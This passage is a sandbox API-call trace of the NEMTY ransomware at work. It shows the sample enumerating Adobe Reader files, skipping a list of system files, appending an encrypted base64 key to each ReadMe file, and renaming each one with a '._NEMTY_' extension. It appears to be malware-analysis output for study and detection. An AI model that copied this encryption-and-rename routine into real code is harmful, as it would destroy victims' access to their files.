hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUM.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUM.htm", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeRUM.htm", lpUsedDefaultChar=0x0) returned 13 [0194.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUM.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUM.htm", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeRUM.htm", lpUsedDefaultChar=0x0) returned 13 [0194.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.116] Sleep (dwMilliseconds=0x5) [0194.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x275a9b30, dwHighDateTime=0x1d561e8)) [0194.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x275a9b30, dwHighDateTime=0x1d561e8)) [0194.124] GetLastError () returned 0x0 [0194.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.125] GetLastError () returned 0x0 [0194.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.125] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.125] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.125] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0194.125] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653ef9c | out: pszString="01ZRy0jHRFDWsaQV8rRDyKuG2G/vtlKVndmu0oyKceMND5XlqSZDaVcwjjejsGiK\r\neWWqN4wwmH/1S6sfBqkHecClZcPxFlcjvUW9w3sati1PawONDFIDal0gXpnGhGJ+\r\nUITTN1DyikpQiT+vygc2nsUyAIgR07+N58ztjMOdvRTM/U4Ljtcbpn3Ilw6kNv+k\r\nOIfbQDhgHkNWE6W7AP5ElUebyC+wZdIcQIeawJofx9n3tisWDNGIZ9ol+VT2Yd2G\r\nDmpkEifG+SkKbbSsusKqUzjtYNXnDlqMx8TbL9cwBDC+rhxHRrUFk3GbjwPCNfX5\r\nn99pWkpzlF0ezXVEps400A==\r\n", pcchString=0x653ef9c) returned 1 [0194.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0194.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.125] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.126] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17176) returned 1 [0194.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4310) returned 0x6352c48 [0194.126] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.126] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4310, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x4310, lpOverlapped=0x0) returned 1 [0194.128] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.128] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4310, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4310, lpOverlapped=0x0) returned 1 [0194.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.129] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4318 [0194.129] WriteFile (in: hFile=0x1e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.129] CloseHandle (hObject=0x1e8) returned 1 [0194.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.129] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm._nemty_kgobjgd_")) returned 1 [0194.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.130] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4872, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeRUS.htm", cAlternateFileName="README~3.HTM")) returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2=".") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="..") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="...") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="windows") returned -1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="rsa") returned -1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="NTDETECT.COM") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="ntldr") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="MSDOS.SYS") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="IO.SYS") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="boot.ini") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="boot.ini") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="ntuser.dat") returned 1 [0194.130] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="desktop.ini") returned 1 [0194.131] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="CONFIG.SYS") returned 1 [0194.131] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="RECYCLER") returned -1 [0194.131] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.131] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="bootmgr") returned 1 [0194.131] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="programdata") returned 1 [0194.131] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="appdata") returned 1 [0194.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUS.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUS.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeRUS.htm", lpUsedDefaultChar=0x0) returned 13 [0194.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUS.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUS.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeRUS.htm", lpUsedDefaultChar=0x0) returned 13 [0194.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUS.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUS.htm", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeRUS.htm", lpUsedDefaultChar=0x0) returned 13 [0194.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUS.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUS.htm", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeRUS.htm", lpUsedDefaultChar=0x0) returned 13 [0194.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.131] Sleep (dwMilliseconds=0x5) [0194.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x275cfc90, dwHighDateTime=0x1d561e8)) [0194.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x275cfc90, dwHighDateTime=0x1d561e8)) [0194.140] GetLastError () returned 0x0 [0194.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.140] GetLastError () returned 0x0 [0194.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.140] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.140] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.140] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0194.140] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653ef9c | out: pszString="shEM7mGdfwLYSkvvma4uNlaA8oAXAB7TzlBPnK/KuNCAY9OF0l5fbbcNZ3WIauNx\r\nxks1QagkY7wOco7SQSfwQEZVVL/mpRJiN9Dp8lmtwPAh/CwHELKKySWywB9PfTb5\r\nHstKMBZX8pGkmP9cTTALNL+2XCGZCAWsVjkE5B//k1xfaytVpuem2ANK6NNQh5XA\r\nRo2UOcP/DPQ9kqLOTvaJioKBgzW0I6bvpFIJIcZKodpZOlfy5PfXsptbqClzRTov\r\nkRKRPaTDRojAEA10DCe4vK2NKrVqrzX8kK0pbWWHqhdfZt9SGkmKVeeKWH68qN3C\r\nmFO2jbRUUB0WVom5AIG4cQ==\r\n", pcchString=0x653ef9c) returned 1 [0194.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0194.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.141] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18546) returned 1 [0194.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4870) returned 0x6352c48 [0194.141] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.141] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4870, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x4870, lpOverlapped=0x0) returned 1 [0194.144] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.144] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4870, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4870, lpOverlapped=0x0) returned 1 [0194.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.144] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=18546, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4872 [0194.144] WriteFile (in: hFile=0x1e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.144] CloseHandle (hObject=0x1e8) returned 1 [0194.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.145] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm._nemty_kgobjgd_")) returned 1 [0194.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.145] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b7, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeSKY.htm", cAlternateFileName="README~2.HTM")) returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2=".") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="..") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="...") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="windows") returned -1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="rsa") returned -1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="NTDETECT.COM") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="ntldr") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="MSDOS.SYS") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="IO.SYS") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="boot.ini") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="boot.ini") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="ntuser.dat") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="desktop.ini") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="CONFIG.SYS") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="RECYCLER") returned -1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="bootmgr") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="programdata") returned 1 [0194.146] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="appdata") returned 1 [0194.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeSKY.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeSKY.htm", cchWideChar=13, 